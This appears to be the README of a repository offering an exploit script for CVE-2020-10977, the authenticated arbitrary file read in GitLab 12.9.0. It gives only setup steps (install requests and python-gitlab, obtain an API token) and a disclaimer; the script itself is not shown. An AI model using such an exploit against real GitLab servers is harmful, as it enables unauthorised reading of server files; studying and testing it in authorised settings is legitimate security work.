gitlab-12.9.0-file-read

The warn

For demonstration purpose and ethical hacking only.

The what

A (wanted to be) better script than what can be found on exploit-db about the authenticated arbitrary read file on GitLab v12.9.0 (CVE-2020-10977)

The how

1. Meet the dependency (you probably already have the rest)

pip3 install requests python-gitlab

2. Get an API token using your credentials

https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html

3. Profit?
